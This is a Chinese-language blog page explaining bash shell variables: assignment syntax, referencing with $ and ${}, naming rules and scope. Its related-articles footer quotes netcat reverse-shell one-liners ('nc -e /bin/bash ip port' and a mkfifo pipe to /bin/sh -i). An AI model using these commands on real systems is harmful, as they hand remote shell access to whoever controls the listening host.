首页 > 系统相关 >shell的变量

shell的变量

时间:2023-02-02 11:00:26浏览次数:36  
标签:shell 变量 超哥 变量名 bash name

变量含义

学生时代所学的数学方程式,如x=1,y=2,那会称之为x,y是未知数

对于计算机角度,x=1,y=2等于定义了两个变量,名字分别是x,y,且赋值了1和2

变量是暂时存储数据的地方,变量临时存储在内存中,当你更新了一个会话或重启、关机了,变量就会消失

变量是一种数据标记 (房间号,标记了客人所在的位置),数据存储在内容空间,通过调用正确的变量名字,即可取出对应的值。

变量的三元素是 变量名称 变量类型 变量值

 

shell变量

  • 变量定义与赋值,注意变量与值之间不得有空格
name="超哥"    #正确写法
name = "超哥"    #错误写法
变量名
变量类型,bash默认把所有变量都认为是字符串
bash变量是弱类型,无需事先声明类型,是将声明和赋值同时进行
  • 变量替换、引用
[root@chaogelinux ~]#name="超哥带你学bash"
[root@chaogelinux ~]#echo ${name}    #完整写法
超哥带你学bash
[root@chaogelinux ~]#echo $name    #简略写法,可以省略花括号
超哥带你学bash
  • 变量名规则
    • 名称定义要做到见名知意,切按照规则来,切不得引用保留关键字(help检查保留字)
    • 只能包含数字、字母、下划线
    • 不能以数字开头不能用标点符号
    • 变量名严格区分大小写
有效的变量名:
NAME_CHAOGE
chaoge
chaoge1
chaogE1
Chao2_ge

无效的变量名:
?chaoge
chao*ge
chao+ge
  • 变量的作用域
    • 本地变量,只针对当前的shell进程

使用命令pstree检查进程树

 

标签:shell,变量,超哥,变量名,bash,name
From: https://www.cnblogs.com/Magiclala/p/17085281.html

相关文章

  • 学习nc反弹shell过程中所想到的
      nc反弹shell可以使用如下命令:nc-e/bin/bashipport   但是如果nc的版本没有e选项,那么:mkfifo/tmp/f#或者mknod/tmp/fpcat/tmp/f|/bin/sh-i2>&1|......
  • shell脚本之if,case语句与for循环
    一、if语句if[条件]then命令1 命令2…..elseif[条件]then命令1 命令2….else命令1 命令2…..fifi if语句实例vima.sh......
  • shell基础
    shell开头#!/bin/bash#!/bin/sh#!/usr/bin/awk#!/usr/bin/envpython#!/usr/bin/perl这几行在第一行,不再第一行就是注释不用的话就用相关解释器带上文件名执行......
  • Linux系统Shell脚本第四章:shell函数
    目录一、shell函数1、函数的作用2、函数使用步骤3、定义函数基本格式4、函数变量5、退出函数6、函数位置变量与脚本位置变量区别 一、shell函数1、函数的作用定......
  • R语言使用虚拟变量Dummy Variables)回归分析工资影响因素|附代码数据
    全文链接:http://tecdat.cn/?p=23170 我们被要求在本周提供一个报告,该报告将结合虚拟变量,回归等数值方法在本文中,本文与以下两个问题有关。你应该如何添加虚拟变量?你应该......
  • R语言使用虚拟变量(Dummy Variables) 回归分析工资影响因素|附代码数据
    全文链接:http://tecdat.cn/?p=23170 我们被要求在本周提供一个报告,该报告将结合回归,虚拟变量等数值方法在本文中,本文与以下两个问题有关。你应该如何添加虚拟变量?你应该......
  • Java—成员变量与局部变量、封装
    一、成员变量与局部变量1.定义的位置不同成员变量:成员变量定义在方法外,类中;局部变量:局部变量定义在方法中。2.生命周期不同成员变......
  • Jmter 全局变量控制 While控制器运行
    1、添加BeanShell取样器,设置全局变量props.put("counter","FALSE");   2、添加While控制器,设置循环条件,当条件为true时进行循环;${__javaScript(${__P("counter......
  • 希尔排序(Shell Sort)
    一、算法概述1.1算法分类十种常见排序算法可以分为两大类:比较类排序:通过比较来决定元素间的相对次序,由于其时间复杂度不能突破O(nlogn),因此也称为非线性时间比较类排......
  • Python 变量
    本篇笔记介绍Python变量的相关知识,包括Python变量的组成部分、变量名的命名规范和常用的变量类型。回忆一道数学题,假设x=1y=2如果z=x+y那么,z的值......